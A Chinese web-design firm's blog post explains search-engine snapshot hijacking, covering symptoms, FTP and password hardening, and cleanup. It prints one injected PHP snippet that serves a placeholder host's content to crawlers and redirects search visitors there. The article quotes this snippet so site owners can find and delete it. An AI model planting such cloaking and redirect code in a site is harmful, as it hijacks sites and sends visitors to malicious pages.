编辑:昌乐新城建站 关注: 时间:2019-12-09 11:14:22
温馨提示:专业网站建设、小程序制作、APP开发,尽在新城建站,详询 15544599750(手机、微信、QQ同号)
百度贴吧在360好搜搜索引擎快照被劫持事件文前导读:
1、黑客通过技术访问了你的网站FTP
百度贴吧在360好搜搜索引擎快照被劫持事件
2、他在凌晨1-5点之间 调换了你的title 和mate 标签等
3、他到5点后又把你的内容换回去·
1、利用各搜索引擎去搜索自己网站的域名,所得到的结果是 时时彩 等相关信息。
百度贴吧在360好搜搜索引擎快照被劫持事件
2、网站域名是自己的,搜索引擎搜录的快照日期是最新的,但网站标题、关键字和描述都不是自己的,而是 时时彩 等相关信息。
3、查看源代码是正常的,没有挂马代码,用杀毒软件扫描也检测不到病毒。
4、将目录清空后重新上传备份过的网站文件,可是问题依旧如故。
百度贴吧在360好搜搜索引擎快照被劫持事件
5、网站的根目录无法删除,将文件夹选项设置成“显示隐藏文件”后,并没有发现有隐藏的文件存在。
1.FTP安全定期修改网站FTP账号与密码。
2. 服务器安全提升服务器安全性。
百度贴吧在360好搜搜索引擎快照被劫持事件
3. 网站程序安全保证网站程序的安全性。
织梦百度快照劫持注入代码防范及修正,很多站长做站的过程中,都碰过百度快照被劫持等问题,明明已经修复模板文件了,还是没有更新回正常的快照,以织梦系统为例,
往往根目录/index.php也被植入恶意代码
百度贴吧在360好搜搜索引擎快照被劫持事件
比如:
<?php if(strpos($_SERVER['HTTP_USER_AGENT'],"spider")||strpos($_SERVER["HTTP_USER_AGENT"],"google")>-1){ $str=file_get_contents("http://域名.com/");echo $str; } $domain=array('baidu','so'); $fromurl=@strtolower($_SERVER['HTTP_REFERER']); foreach ($domain as $v) { if (strpos($fromurl,$v)!==false) { $target="http://域名.com/index.html"; header("Location:".$target); exit; }}?>
单这段代码就直接把搜索引擎蜘蛛搞晕,带到别的恶意网址去。
百度贴吧在360好搜搜索引擎快照被劫持事件
把其删掉,如果在index.php里没找到,但还是存在类似的问题,可以用dw全站搜索下。
关于防范,空间,ftp账号,权限,后台账号之类都需要设置下,不能太过简单。
其他解决办法
在网上下载一个内核级的系统管理工具(如:PowerTool),利用该工具打开网站根目录,然后删除里面的文件Global.asa,问题就可以解决了。
百度贴吧在360好搜搜索引擎快照被劫持事件
注意: 删除掉文件Global.asa以后,问题并不会马上变好,因为我们需要等待搜索引擎的收录信息更新后,搜索结果才能完全恢复正常。
快照劫持的防范
总结一下:快照劫持不仅仅是针对百度,而且谷歌、360、搜狗等等,都有可能出现快照劫持。各位站长朋友们,只要平时多观察自己的网站、安全做好,FTP以及后台的密码等等做好防范,同时尽可能能的做到发现漏洞即处理,一般来说就很难让黑客有机可乘了。说难也不难,及时出现了快照劫持,不是可还以通过备份方法马上恢复过来吗?
百度贴吧在360好搜搜索引擎快照被劫持事件
拓展阅读:
本文由新城建站整理发布,喜欢请收藏,转载请保留链接 昌乐网站推广谈百度贴吧在360好搜搜索引擎快照被劫持事件https://www.nccpu.net/weifang/changle/11235.html